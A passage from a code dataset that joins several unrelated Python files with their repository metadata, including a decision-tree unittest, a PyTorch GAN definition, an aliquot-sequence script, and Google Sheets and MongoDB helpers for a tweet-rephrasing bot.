numpy.mean(self.y[rightInds])\n \n error = ((self.y[leftInds] - valLeft)**2).sum() + ((self.y[rightInds] - valRight)**2).sum()\n \n if error < bestError: \n bestError = error \n bestFeature = i \n bestThreshold = threshold \n \n self.assertAlmostEquals(bestThreshold, learner.tree.getRoot().getThreshold())\n self.assertAlmostEquals(bestError, learner.tree.getRoot().getError(), 5)\n self.assertEquals(bestFeature, learner.tree.getRoot().getFeatureInd())\n \n #Now we will test pruning works \n learner = DecisionTreeLearner(minSplit=1, maxDepth=10) \n learner.learnModel(X, y)\n numVertices1 = learner.getTree().getNumVertices() \n \n learner = DecisionTreeLearner(minSplit=1, maxDepth=10, pruneType=\"REP-CV\") \n learner.learnModel(X, y) \n numVertices2 = learner.getTree().getNumVertices() \n \n self.assertTrue(numVertices1 >= numVertices2)\n \n @staticmethod\n def printTree(tree):\n \"\"\"\n Some code to print the sklearn tree. \n \"\"\"\n \n children = tree.children\n \n depth = 0\n nodeIdStack = [(0, depth)] \n \n \n while len(nodeIdStack) != 0:\n vertexId, depth = nodeIdStack.pop()\n \n if vertexId != tree.LEAF: \n outputStr = \"\\t\"*depth +str(vertexId) + \": Size: \" + str(tree.n_samples[vertexId]) + \", \"\n outputStr += \"featureInd: \" + str(tree.feature[vertexId]) + \", \"\n outputStr += \"threshold: \" + str(tree.threshold[vertexId]) + \", \"\n outputStr += \"error: \" + str(tree.best_error[vertexId]) + \", \"\n outputStr += \"value: \" + str(tree.value[vertexId])\n print(outputStr)\n \n rightChildId = children[vertexId, 1]\n nodeIdStack.append((rightChildId, depth+1))\n \n leftChildId = children[vertexId, 0]\n nodeIdStack.append((leftChildId, depth+1))\n \n def testPredict(self): \n \n generator = ExamplesGenerator() \n \n for i in range(10): \n numExamples = numpy.random.randint(1, 200)\n numFeatures = numpy.random.randint(1, 20)\n minSplit = numpy.random.randint(1, 50)\n maxDepth = numpy.random.randint(0, 10)\n \n X, y = generator.generateBinaryExamples(numExamples, numFeatures) \n y = numpy.array(y, numpy.float)\n \n learner = DecisionTreeLearner(minSplit=minSplit, maxDepth=maxDepth) \n learner.learnModel(X, y) \n \n predY = learner.predict(X)\n \n tree = learner.tree \n \n for vertexId in tree.getAllVertexIds(): \n \n nptst.assert_array_equal(tree.getVertex(vertexId).getTrainInds(), tree.getVertex(vertexId).getTestInds())\n \n #Compare against sklearn tree \n regressor = DecisionTreeRegressor(min_samples_split=minSplit, max_depth=maxDepth, min_density=0.0)\n regressor.fit(X, y)\n \n sktree = regressor.tree_\n \n #Note that the sklearn algorithm appears to combine nodes with same value \n #self.assertEquals(sktree.node_count, tree.getNumVertices())\n self.assertEquals(sktree.feature[0], tree.getRoot().getFeatureInd())\n self.assertEquals(sktree.value[0], tree.getRoot().getValue())\n self.assertAlmostEquals(sktree.threshold[0], tree.getRoot().getThreshold(), 3)\n \n predY2 = regressor.predict(X)\n \n #Note that this is not always precise because if two thresholds give the same error we choose the largest \n #and not sure how it is chosen in sklearn (or if the code is correct)\n self.assertTrue(abs(numpy.linalg.norm(predY-y)- numpy.linalg.norm(predY2-y))/numExamples < 0.05) \n\n def testRecursiveSetPrune(self): \n numExamples = 1000\n X, y = data.make_regression(numExamples) \n \n y = Standardiser().normaliseArray(y)\n \n numTrain = numpy.round(numExamples * 0.66) \n \n trainX = X[0:numTrain, :]\n trainY = y[0:numTrain]\n testX = X[numTrain:, :]\n testY = y[numTrain:]\n \n learner = DecisionTreeLearner()\n learner.learnModel(trainX, trainY)\n \n rootId = (0,)\n learner.tree.getVertex(rootId).setTestInds(numpy.arange(testX.shape[0]))\n learner.recursiveSetPrune(testX, testY, rootId)\n \n for vertexId in learner.tree.getAllVertexIds(): \n tempY = testY[learner.tree.getVertex(vertexId).getTestInds()]\n predY = numpy.ones(tempY.shape[0])*learner.tree.getVertex(vertexId).getValue()\n error = numpy.sum((tempY-predY)**2)\n self.assertAlmostEquals(error, learner.tree.getVertex(vertexId).getTestError())\n \n #Check leaf indices form all indices \n inds = numpy.array([]) \n \n for vertexId in learner.tree.leaves(): \n inds = numpy.union1d(inds, learner.tree.getVertex(vertexId).getTestInds())\n \n nptst.assert_array_equal(inds, numpy.arange(testY.shape[0]))\n \n \n \n def testprune(self): \n learner = DecisionTreeLearner(minSplit=5)\n learner.learnModel(self.X, self.y)\n \n unprunedTree = learner.getTree().copy()\n \n learner.cartPrune(self.X, self.y)\n \n self.assertTrue(learner.tree.isSubtree(unprunedTree))\n \n \n def testCvPrune(self): \n numExamples = 500\n X, y = data.make_regression(numExamples) \n \n y = Standardiser().standardiseArray(y)\n \n numTrain = numpy.round(numExamples * 0.33) \n numValid = numpy.round(numExamples * 0.33) \n \n trainX = X[0:numTrain, :]\n trainY = y[0:numTrain]\n validX = X[numTrain:numTrain+numValid, :]\n validY = y[numTrain:numTrain+numValid]\n testX = X[numTrain+numValid:, :]\n testY = y[numTrain+numValid:]\n \n learner = DecisionTreeLearner()\n learner.learnModel(trainX, trainY)\n error1 = Evaluator.rootMeanSqError(learner.predict(testX), testY)\n \n #print(learner.getTree())\n unprunedTree = learner.tree.copy() \n learner.setGamma(1000)\n learner.cvPrune(trainX, trainY)\n \n self.assertEquals(unprunedTree.getNumVertices(), learner.tree.getNumVertices())\n learner.setGamma(100)\n learner.cvPrune(trainX, trainY)\n \n #Test if pruned tree is subtree of current: \n for vertexId in learner.tree.getAllVertexIds(): \n self.assertTrue(vertexId in unprunedTree.getAllVertexIds())\n \n #The error should be better after pruning \n learner.learnModel(trainX, trainY)\n #learner.cvPrune(validX, validY, 0.0, 5)\n learner.repPrune(validX, validY)\n \n error2 = Evaluator.rootMeanSqError(learner.predict(testX), testY)\n \n self.assertTrue(error1 >= error2)\n\n @unittest.skip(\"\") \n def testModelSelect(self): \n \n \"\"\"\n We test the results on some data and compare to SVR. \n \"\"\"\n numExamples = 200\n X, y = data.make_regression(numExamples, noise=0.5) \n \n X = Standardiser().standardiseArray(X)\n y = Standardiser().standardiseArray(y)\n \n trainX = X[0:100, :]\n trainY = y[0:100]\n testX = X[100:, :]\n testY = y[100:]\n \n learner = DecisionTreeLearner(maxDepth=20, minSplit=10, pruneType=\"REP-CV\")\n learner.setPruneCV(8)\n \n paramDict = {} \n paramDict[\"setGamma\"] = numpy.linspace(0.0, 1.0, 10) \n paramDict[\"setPruneCV\"] = numpy.arange(6, 11, 2, numpy.int)\n \n folds = 5\n idx = Sampling.crossValidation(folds, trainX.shape[0])\n bestTree, cvGrid = learner.parallelModelSelect(trainX, trainY, idx, paramDict)\n\n\n predY = bestTree.predict(testX)\n error = Evaluator.rootMeanSqError(testY, predY)\n print(error)\n \n \n learner = DecisionTreeLearner(maxDepth=20, minSplit=5, pruneType=\"CART\")\n \n paramDict = {} \n paramDict[\"setGamma\"] = numpy.linspace(0.0, 1.0, 50) \n \n folds = 5\n idx = Sampling.crossValidation(folds, trainX.shape[0])\n bestTree, cvGrid = learner.parallelModelSelect(trainX, trainY, idx, paramDict)\n\n\n predY = bestTree.predict(testX)\n error = Evaluator.rootMeanSqError(testY, predY)\n print(error)\n \n return \n #Let's compare to the SVM \n learner2 = LibSVM(kernel='gaussian', type=\"Epsilon_SVR\") \n \n paramDict = {} \n paramDict[\"setC\"] = 2.0**numpy.arange(-10, 14, 2, dtype=numpy.float)\n paramDict[\"setGamma\"] = 2.0**numpy.arange(-10, 4, 2, dtype=numpy.float)\n paramDict[\"setEpsilon\"] = learner2.getEpsilons()\n \n idx = Sampling.crossValidation(folds, trainX.shape[0])\n bestSVM, cvGrid = learner2.parallelModelSelect(trainX, trainY, idx, paramDict)\n\n predY = bestSVM.predict(testX)\n error = Evaluator.rootMeanSqError(testY, predY)\n print(error)\n\n def testCARTPrune(self): \n numExamples = 500\n X, y = data.make_regression(numExamples) \n \n y = Standardiser().standardiseArray(y)\n \n numTrain = numpy.round(numExamples * 0.33) \n numValid = numpy.round(numExamples * 0.33) \n \n trainX = X[0:numTrain, :]\n trainY = y[0:numTrain]\n validX = X[numTrain:numTrain+numValid, :]\n validY = y[numTrain:numTrain+numValid]\n testX = X[numTrain+numValid:, :]\n testY = y[numTrain+numValid:]\n \n learner = DecisionTreeLearner(pruneType=\"none\", maxDepth=10, minSplit=2)\n learner.learnModel(trainX, trainY) \n \n learner = DecisionTreeLearner(pruneType=\"CART\", maxDepth=10, minSplit=2, gamma=1000)\n learner.learnModel(trainX, trainY)\n self.assertTrue(learner.tree.getNumVertices() <= 1000)\n predY = learner.predict(trainX)\n\n learner.setGamma(200)\n learner.learnModel(trainX, trainY)\n self.assertTrue(learner.tree.getNumVertices() <= 200)\n \n learner.setGamma(100)\n learner.learnModel(trainX, trainY)\n self.assertTrue(learner.tree.getNumVertices() <= 100)\n \n\n learner = DecisionTreeLearner(pruneType=\"none\", maxDepth=10, minSplit=2)\n learner.learnModel(trainX, trainY)\n predY2 = learner.predict(trainX)\n \n #Gamma = 0 implies no pruning \n nptst.assert_array_equal(predY, predY2)\n \n #Full pruning \n learner = DecisionTreeLearner(pruneType=\"CART\", maxDepth=3, gamma=1)\n learner.learnModel(trainX, trainY)\n self.assertEquals(learner.tree.getNumVertices(), 1)\n \n def testParallelPen(self): \n #Check if penalisation == inf when treeSize < gamma \n numExamples = 100\n X, y = data.make_regression(numExamples) \n learner = DecisionTreeLearner(pruneType=\"CART\", maxDepth=10, minSplit=2)\n \n paramDict = {} \n paramDict[\"setGamma\"] = numpy.array(numpy.round(2**numpy.arange(1, 10, 0.5)-1), dtype=numpy.int)\n \n folds = 3\n alpha = 1.0\n Cvs = numpy.array([(folds-1)*alpha])\n \n idx = Sampling.crossValidation(folds, X.shape[0])\n \n resultsList = learner.parallelPen(X, y, idx, paramDict, Cvs)\n \n learner, trainErrors, currentPenalties = resultsList[0]\n \n learner.setGamma(2**10)\n treeSize = 0\n #Let's work out the size of the unpruned tree \n for trainInds, testInds in idx: \n trainX = X[trainInds, :]\n trainY = y[trainInds]\n \n learner.learnModel(trainX, trainY)\n treeSize += learner.tree.size \n \n treeSize /= float(folds) \n \n self.assertTrue(numpy.isinf(currentPenalties[paramDict[\"setGamma\"]>treeSize]).all()) \n self.assertTrue(not numpy.isinf(currentPenalties[paramDict[\"setGamma\"]0)\n tempPenalties = penalties[:, i][inds]\n tempfoldsSet = numpy.array(foldsSet, numpy.float)[inds] \n \n if tempPenalties.shape[0] > 1: \n x = numpy.log((tempfoldsSet-1)/tempfoldsSet*sampleSize)\n y = numpy.log(tempPenalties)+numpy.log(tempfoldsSet) \n \n clf = linear_model.LinearRegression()\n clf.fit(numpy.array([x]).T, y)\n betas[i] = clf.coef_[0] \n \n betas = -betas \n \n nptst.assert_array_equal(betaGrid, betas)\n \nif __name__ == \"__main__\":\n unittest.main()","repo_name":"charanpald/sandbox","sub_path":"sandbox/predictors/test/DecisionTreeLearnerTest.py","file_name":"DecisionTreeLearnerTest.py","file_ext":"py","file_size_in_byte":19150,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"47"} +{"seq_id":"34335610384","text":"\"\"\"\nCreates a Sample File\n\"\"\"\n\nimport logging\nimport os\n\nimport engine_validators as validate\nimport basedefs\nimport common_utils as utils\n\n# Controller object will be initialized from main flow\ncontroller = None\n\nlogging.debug(\"plugin %s loaded\", __name__)\n\ndef initConfig(controllerObject):\n global controller\n controller = controllerObject\n logging.debug(\"Initialising Plugine\")\n conf_params = {\"SAMPLE\": [\n {\"CMD_OPTION\" : \"filename\",\n \"USAGE\" : \"File to create\",\n \"PROMPT\" : \"File to create\",\n \"OPTION_LIST\" : [],\n \"VALIDATION_FUNC\" : validate.validateStringNotEmpty,\n \"DEFAULT_VALUE\" : \"/tmp/samplefile.txt\",\n \"MASK_INPUT\" : False,\n \"LOOSE_VALIDATION\": True,\n \"CONF_NAME\" : \"CONFIG_FILENAME\",\n \"USE_DEFAULT\" : False,\n \"NEED_CONFIRM\" : False,\n \"CONDITION\" : False },\n ]\n }\n\n conf_groups = [\n { \"GROUP_NAME\" : \"SAMPLE\",\n \"DESCRIPTION\" : \"Sample config group\",\n \"PRE_CONDITION\" : utils.returnYes,\n \"PRE_CONDITION_MATCH\" : \"yes\",\n \"POST_CONDITION\" : False,\n \"POST_CONDITION_MATCH\" : True},\n ]\n\n for group in conf_groups:\n paramList = conf_params[group[\"GROUP_NAME\"]]\n controller.addGroup(group, paramList)\n\n\n\ndef initSequences(controller):\n preparesteps = [\n {'title': 'Create File', 'functions':[createfile]}\n ]\n controller.addSequence(\"Creating File\", [], [], preparesteps)\n\n\ndef createfile():\n with open(controller.CONF[\"CONFIG_FILENAME\"], \"a\") as fp:\n fp.write(\"HELLO WORLD\")\n\n","repo_name":"derekhiggins/installer_old","sub_path":"sample-project/plugins/createfile_101.py","file_name":"createfile_101.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"39571560963","text":"\"\"\"\nNeural network definition for both Generator and discriminator\n\"\"\"\nimport torch \nimport torch.nn as nn \nimport torch.nn.functional as F \n\n\ndef simple_deconv(in_planes, out_planes, k_size=3, stride=1, padding=0):\n return nn.Sequential(\n nn.ConvTranspose2d(in_planes, out_planes,\n kernel_size=k_size, stride=stride, \n padding=padding, bias=False),\n nn.BatchNorm2d(out_planes),\n nn.ReLU(inplace=True)\n )\n\ndef simple_conv(in_planes, out_planes, k_size=3, stride=1, padding=0):\n return nn.Sequential(\n nn.Conv2d(in_planes, out_planes,kernel_size=k_size,\n stride=stride, padding=padding, bias=False),\n nn.BatchNorm2d(out_planes),\n nn.ReLU(inplace=True)\n )\n\nclass Generator(nn.Module):\n r\"\"\" Generator network class \n params:\n \"\"\"\n def __init__(self, nz, ngf, nc):\n super(Generator,self).__init__()\n layers = []\n layers.append(simple_deconv(nz, ngf*8, 4, 1, 0))\n layers.append(simple_deconv(ngf*8, ngf*4, 4, 2, 1))\n layers.append(simple_deconv(ngf*4, ngf*2, 4, 2, 1))\n layers.append(simple_deconv(ngf*2, ngf, 4, 2, 1))\n layers.append(nn.ConvTranspose2d(ngf, nc, 4, 2, 1, bias=False))\n layers.append(nn.Tanh())\n self.main = nn.Sequential(*layers)\n\n def forward(self, x):\n out = self.main(x)\n return out\n\nclass Disciminator(nn.Module):\n r\"\"\"Discriminator network class\"\"\"\n def __init__(self,nc, ndf,N=1):\n super(Disciminator,self).__init__()\n layers = []\n layers.append(nn.Conv2d(nc, ndf, 4, 2, 1, bias=False))\n layers.append(nn.LeakyReLU(0.2, inplace=True))\n layers.append(simple_conv(ndf, ndf*2,4,2,1))\n layers.append(simple_conv(ndf*2, ndf*4, 4, 2, 1))\n layers.append(simple_conv(ndf*4, ndf*8, 4, 2, 1))\n layers.append(nn.Conv2d(ndf*8,N,4,1,0,bias=False))\n layers.append(nn.Sigmoid())\n self.main = nn.Sequential(*layers)\n \n def forward(self,x):\n out = self.main(x)\n return out.view(-1, 1).squeeze(1)\n","repo_name":"ResByte/pytorch-gan","sub_path":"networks.py","file_name":"networks.py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"19304337002","text":"\"\"\"Aliquot_sequence\r\ninput:16\r\noutput:16 15 9 4 3 1 0\r\nInput: n = 10\r\nOutput: 10 8 7 1 0\r\nSum of proper divisors of 10 is 5 + 2 + 1 = 8.\r\nSum of proper divisors of 8 is 4 + 2 + 1 = 7.\r\nSum of proper divisors of 7 is 1\r\nSum of proper divisors of 1 is 0\r\nNote that there is no proper divisor of 1.\"\"\"\r\n\r\n\r\n##def Aliquot_seq(n,j=0):\r\n## if j==0:#to print given input\r\n## print(n,end=\" \")\r\n## j+=1\r\n## i=1\r\n## sum1=0\r\n## for i in range(1,n):\r\n## if(n%i==0):\r\n## sum1=sum1+i\r\n## print(sum1,end=\" \")\r\n## if(sum1==0):\r\n## return\r\n## return Aliquot_seq(sum1,j)\r\n##n=int(input())\r\n##Aliquot_seq(n)\r\n\r\n##Aliquot_sequence\r\nfrom math import sqrt\r\ndef proper_div_sum(n):\r\n if n==1:\r\n print(0,end=\" \")\r\n return\r\n sum1=0\r\n for i in range(1,int(sqrt(n))+1):\r\n if n%i==0:\r\n if i==n//i:\r\n sum1+=i\r\n else:\r\n sum1+=i+(n//i)\r\n n=sum1-n#n is not added to sum\r\n print(n,end=\" \")\r\n return proper_div_sum(n)\r\nn=int(input())\r\nprint(n,end=\" \")\r\nproper_div_sum(n)\r\n","repo_name":"Padma-1/PythonCodes","sub_path":"PYTHON/aliquot_sequence.py","file_name":"aliquot_sequence.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21085404837","text":"from models.position import Interval\n\n\ndef arrows_under_string(text: str, interval: Interval, arrow_line_padding: int = 0) -> str:\n pos_start = interval.start\n pos_end = interval.end\n\n # Following code taken from git repository:\n # https://github.com/davidcallanan/py-myopl-code/blob/master/ep4/strings_with_arrows.py\n # Modified slightly to fit the definition of my modules\n result = ''\n\n # Calculate indices\n idx_start = max(text.rfind('\\n', 0, pos_start.idx), 0)\n idx_end = text.find('\\n', idx_start + 1)\n if idx_end < 0:\n idx_end = len(text)\n\n # Generate each line\n line_count = pos_end.row - pos_start.row + 1\n for i in range(line_count):\n # Calculate line columns\n line = text[idx_start:idx_end]\n col_start = pos_start.col if i == 0 else 0\n col_end = pos_end.col if i == line_count - 1 else len(line) - 1\n\n # Append to result\n result += line + '\\n'\n result += ' ' * (col_start + arrow_line_padding) + '^' * (col_end - col_start)\n\n # Re-calculate indices\n idx_start = idx_end\n idx_end = text.find('\\n', idx_start + 1)\n if idx_end < 0:\n idx_end = len(text)\n\n return result.replace('\\t', '')\n","repo_name":"jimmy-lan/jimmy-script","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20656301335","text":"import gspread\nfrom constants import *\nfrom helpers.mongo_helpers import init_mongo_client, get_key_freq_map, count_total_in_seen_db, \\\n count_num_eligible_in_db, count_seen_eligible_by_author_list, get_num_tweets_posted, \\\n get_num_tweets_posted_per_author\nfrom wordmap import WORD_MAP\nfrom blocked_terms import BLOCKED_TERMS\n\n\ndef init_google_drive_clients():\n gc = gspread.service_account('credentials.json')\n sh = gc.open(SPREADSHEET_NAME)\n wordmap_wks = sh.get_worksheet(WORDMAP_WORKSHEET_NUM)\n tweet_suggestion_wks = sh.get_worksheet(SUGGESTION_WORKSHEET_NUM)\n stats_wks = sh.get_worksheet(STATS_WORKSHEET_NUM)\n blocked_term_wks = sh.get_worksheet(BLOCKED_TERM_WORKSHEET_NUM)\n return [\n wordmap_wks,\n tweet_suggestion_wks,\n stats_wks,\n blocked_term_wks\n ]\n\n# https://stackoverflow.com/questions/40781295/how-to-find-the-first-empty-row-of-a-google-spread-sheet-using-python-gspread\n# def next_available_row(worksheet) -> str:\n# str_list = list(filter(None, worksheet.col_values(1)))\n# return str(len(str_list)+1)\n\n\ndef get_first_blank_row(worksheet, show_output: bool = False):\n source_col = SUGGESTION_COL_VALS[\"source\"]\n id_col = worksheet.col_values(1)\n rowNum = len(id_col) + 1\n if show_output:\n print(f'id_col: {id_col}')\n print(f'firstBlank: {source_col}{rowNum}')\n return [source_col, rowNum]\n\n\ndef get_most_recent_tweet_row(worksheet) -> int:\n first_blank_row = get_first_blank_row(worksheet)\n return int(first_blank_row[1]) - 1\n\n\ndef get_most_recent_tweet_id_from_worksheet(worksheet):\n most_recent_row = get_most_recent_tweet_row(worksheet)\n target_cell = ''.join([SUGGESTION_COL_VALS[\"tweet_id\"], str(most_recent_row)])\n return str(worksheet.acell(target_cell).value)\n\n\ndef get_most_recent_tweet_url_from_worksheet(worksheet):\n first_blank_row = get_first_blank_row(worksheet)\n most_recent_row = [first_blank_row[0], int(first_blank_row[1]) - 1]\n if most_recent_row[1] < SUGGESTION_WORKSHEET_STARTROW:\n print('ERROR')\n return\n target_cell = ''.join([SUGGESTION_COL_VALS[\"tweet_url\"], str(most_recent_row[1])])\n tweet_url = worksheet.acell(target_cell).value\n return tweet_url\n\n\ndef mark_tweet_as_posted_on_wks(tweet_id: str):\n eligible_wks = init_google_drive_clients()[SUGGESTION_WORKSHEET_NUM]\n found = eligible_wks.find(str(tweet_id))\n if found:\n target_cell = SUGGESTION_COL_VALS[\"posted\"] + str(found.row)\n eligible_wks.update_acell(target_cell, bool(True))\n\n\ndef tweet_has_been_seen_in_worksheet(worksheet, tweet, max_seen_id=\"0\") -> bool:\n if \"tweet_id\" not in tweet:\n if \"id\" not in tweet:\n raise Exception('Invalid Tweet')\n id_val = str(tweet[\"id\"])\n else:\n id_val = str(tweet[\"tweet_id\"])\n last_seen_tweet_id = max_seen_id\n if max_seen_id < \"1\":\n last_seen_tweet_id = get_most_recent_tweet_id_from_worksheet(worksheet)\n return id_val < last_seen_tweet_id\n\n\ndef unseen_tweet(worksheet, tweet, max_seen_id=\"0\") -> bool:\n return not tweet_has_been_seen_in_worksheet(worksheet=worksheet, tweet=tweet, max_seen_id=max_seen_id)\n\n\ndef filter_seen_tweets(worksheet, tweet, max_seen_id=\"0\"):\n return unseen_tweet(worksheet=worksheet, tweet=tweet, max_seen_id=max_seen_id)\n\n\ndef update_blocked_term_wks(worksheet=None, show_output: bool = False):\n to_add = list()\n start_cell = BLOCKED_TERM_WORKSHEET_START_CELL\n blocked_wks = worksheet\n if blocked_wks is None:\n blocked_wks = init_google_drive_clients()[BLOCKED_TERM_WORKSHEET_NUM]\n to_add = list(map(lambda x: [str(f\"\\\"{x}\\\"\")], list(BLOCKED_TERMS)))\n if show_output:\n print(f'Blocked terms:\\t{BLOCKED_TERMS}')\n print(f'# blocked terms: {len(to_add)}')\n print('Updating Blocked Term Worksheet...')\n worksheet.batch_clear([f'{start_cell}:B{len(to_add) + 30}'])\n blocked_wks.update(start_cell, to_add)\n if show_output:\n print('Done.')\n\n\ndef update_wordmap_wks(worksheet=None, show_output: bool = False, use_prod: bool = False):\n to_add = list()\n start_cell = 'A2'\n wordmap_wks = worksheet\n key_freq_counts = get_key_freq_map(use_prod=use_prod)\n if wordmap_wks is None:\n wordmap_wks = init_google_drive_clients()[SUGGESTION_WORKSHEET_NUM]\n if show_output:\n print('Updating wordmap spreadsheet...', end='')\n for key in WORD_MAP:\n freq = key_freq_counts[key] if key in key_freq_counts else 0\n to_add.append([key, WORD_MAP[key], int(freq)])\n worksheet.batch_clear([f'{start_cell}:C{len(to_add)+20}'])\n wordmap_wks.update(start_cell, to_add)\n if show_output:\n print('done.')\n\n\ndef update_stats_wks(worksheet=None, use_prod: bool = False):\n stats_wks = worksheet\n if worksheet is None:\n stats_wks = init_google_drive_clients()[STATS_WORKSHEET_NUM]\n # TODO: refactor to just get per-author stats, then reduce() to derive # seen/eligible/posted from there\n # get total number of \"seen\" tweets\n total_num_seen = count_total_in_seen_db(use_prod=use_prod)\n # get total number of \"eligible\" tweets\n total_num_eligible = count_num_eligible_in_db(use_prod=use_prod)\n # Get total number of tweets posted\n total_num_posted = get_num_tweets_posted(use_prod=use_prod)\n # Get seen vs eligible stats on a per-author basis\n author_eligible_seen = count_seen_eligible_by_author_list(use_prod=use_prod)\n author_posted = get_num_tweets_posted_per_author(use_prod=use_prod)\n author_stats = list(\n map(\n lambda x:\n [x[\"formatted\"],\n x[\"seen\"],\n x[\"eligible\"],\n (author_posted[x[\"formatted\"]] if x[\"formatted\"] in author_posted else 0)],\n author_eligible_seen\n )\n )\n # Update Stats worksheet page\n stats_wks.update_acell(STATS_WORKSHEET_NUM_SEEN_CELL, total_num_seen)\n stats_wks.update_acell(STATS_WORKSHEET_NUM_ELIGIBLE_CELL, total_num_eligible)\n stats_wks.update_acell(STATS_WKS_TOTAL_POSTED_CELL, total_num_posted)\n stats_wks.update(STATS_WORKSHEET_AUTHOR_SEEN_ELIGIBLE_CELL, author_stats)\n return {\n \"num_seen\": total_num_seen,\n \"num_eligible\": total_num_eligible,\n \"num_posted\": total_num_posted,\n \"author_stats\": author_stats\n }\n\n\ndef format_suggested_wks():\n suggest_wks = init_google_drive_clients()[SUGGESTION_WORKSHEET_NUM]\n max_col_letter = chr(ord('A') + len(SUGGESTION_HEADER_ROW) - 1)\n # format header row\n suggest_wks.format(\n 'A1:I1',\n {\n 'horizontalAlignment': 'CENTER',\n 'textFormat': {\n 'bold': True,\n 'fontSize': 10,\n },\n 'borders': {\n \"top\": HEADER_ROW_BORDER,\n \"right\": HEADER_ROW_BORDER,\n \"bottom\": HEADER_ROW_BORDER,\n \"left\": HEADER_ROW_BORDER\n }\n }\n )\n suggest_wks.update(\"A1\", [SUGGESTION_HEADER_ROW])\n # format other cells\n suggest_wks.format(\n f'A2:H200',\n {\n \"wrapStrategy\": \"WRAP\"\n }\n )\n\n\ndef format_suggested_tweet_worksheet_row(db_tweet):\n source_col = f'{db_tweet[\"author\"][\"name\"]} (@{db_tweet[\"author\"][\"username\"]})'\n replaced_keys = ', '.join([str(x[\"key\"]) for x in db_tweet[\"mapped_key_list\"]])\n return [\n source_col,\n db_tweet[\"tweet_url\"],\n db_tweet[\"num_replacements\"],\n db_tweet[\"original_text\"],\n db_tweet[\"modified_text\"],\n replaced_keys,\n str(db_tweet[\"created_at\"]),\n db_tweet[\"tweet_id\"],\n bool(db_tweet[\"posted\"])\n ]\n\n\ndef update_suggested_tweet_wks(worksheet=None, partial_update: bool = True, show_output: bool = False, use_prod: bool = False) -> int:\n suggest_wks = worksheet\n start_cell = 'A2'\n to_add = list()\n\n # Connect to tweets DB\n db = init_mongo_client(use_prod=use_prod)\n tweet_db = db[DB_TWEET_COLLECTION_NAME]\n seen_db = db[DB_SEEN_COLLECTION_NAME]\n\n if suggest_wks is None:\n suggest_wks = init_google_drive_clients()[SUGGESTION_WORKSHEET_NUM]\n if show_output:\n print('\\nUpdating SuggestedTweet spreadsheet...')\n if partial_update:\n latest_worksheet_tweet_id = str(get_most_recent_tweet_id_from_worksheet(suggest_wks))\n find_query = {\n \"tweet_id\": {\"$gt\": latest_worksheet_tweet_id}\n }\n known_tweets = tweet_db.find(find_query).sort(\"tweet_id\", 1)\n num_found_tweets = tweet_db.count_documents(find_query)\n first_blank = get_first_blank_row(worksheet=suggest_wks, show_output=show_output)\n start_cell = ''.join(['A', str(first_blank[1])])\n else:\n known_tweets = tweet_db.find({}).sort(\"tweet_id\", 1)\n num_found_tweets = tweet_db.count_documents({})\n num_seen_tweets = seen_db.count_documents({})\n # Clear worksheet\n suggest_wks.update('A1', [SUGGESTION_HEADER_ROW])\n suggest_wks.batch_clear([f\"A2:I{num_seen_tweets + 20}\"])\n if show_output:\n print(f'FirstBlank: {start_cell}')\n print(f'Found {num_found_tweets} to add...')\n # Add the found tweets to the worksheet\n if num_found_tweets > 0:\n for t in known_tweets:\n to_add.append(t)\n to_display = list(map(format_suggested_tweet_worksheet_row, to_add))\n if show_output:\n print('Updating...', end='')\n suggest_wks.update(start_cell, to_display)\n if show_output:\n print('done.')\n return num_found_tweets\n\n\ndef update_worksheets(partial_update=True, show_output=False, use_prod: bool = False):\n google_clients = init_google_drive_clients()\n wordmap_worksheet = google_clients[WORDMAP_WORKSHEET_NUM]\n suggest_worksheet = google_clients[SUGGESTION_WORKSHEET_NUM]\n stats_wks = google_clients[STATS_WORKSHEET_NUM]\n blocked_wks = google_clients[BLOCKED_TERM_WORKSHEET_NUM]\n update_wordmap_wks(worksheet=wordmap_worksheet, show_output=show_output, use_prod=use_prod)\n update_suggested_tweet_wks(worksheet=suggest_worksheet, partial_update=partial_update, show_output=show_output, use_prod=use_prod)\n update_stats_wks(worksheet=stats_wks, use_prod=use_prod)\n update_blocked_term_wks(worksheet=blocked_wks, show_output=show_output)\n\n\ndef complete_refresh_spreadsheets(show_output=False, use_prod: bool = False):\n update_worksheets(partial_update=False, show_output=show_output, use_prod=use_prod)\n","repo_name":"bweir27/NewsRephrased_python","sub_path":"helpers/google_helpers.py","file_name":"google_helpers.py","file_ext":"py","file_size_in_byte":10447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"26834513106","text":"import itertools as it\nimport functools\nimport igraph\nimport sys\nimport tqdm\nclass IntegerPartitions(object):\n @staticmethod\n @functools.lru_cache(maxsize=64)\n def _do_partition(total, maxelements, around=None, maxdz=None):\n \"\"\" Builds all integer partitions of *total* split into *maxelements* parts.\n\t\tNote that ordering matters, i.e. (2, 1) and (1, 2) are district partitions. Moreover, elements of zero value are allowed. In all cases, the sum of all elements is equal to *total*.\n\t\tThere is no guarantee as for the ordering of elements.\n\t\tIf a center *around* is given, then a radius *maxdz* is required.\n\t\tOnly those partitions are listed where the L1 norm of the distance between partition and *around* is less or equal to *maxdz*.\n\t\tArgs:\n\t\t\ttotal:\t\t\tThe sum of all entries. [Integer]\n\t\t\tmaxelements:\tThe number of elements to split into. [Integer]\n\t\t\taround:\t\t\tTuple of N entries. Center around which partitions are listed. [Integer]\n\t\t\tmaxdz:\t\t\tMaximum absolute difference in Z space from center *around*. [Integer]\n\t\tReturns:\n\t\t\tA list of all partitions as lists.\n\t\t\"\"\"\n if (around is None) != (maxdz is None):\n raise ValueError(\"Cannot define center or radius alone.\")\n\n if maxelements == 1:\n if around is not None and maxdz < abs(total - around[-maxelements]):\n return []\n else:\n return [[total]]\n res = []\n\n # get range to cover\n if around is None:\n first = 0\n last = total\n limit = None\n else:\n first = max(0, around[-maxelements] - maxdz)\n last = min(total, around[-maxelements] + maxdz)\n for x in range(first, last + 1):\n if around is not None:\n limit = maxdz - 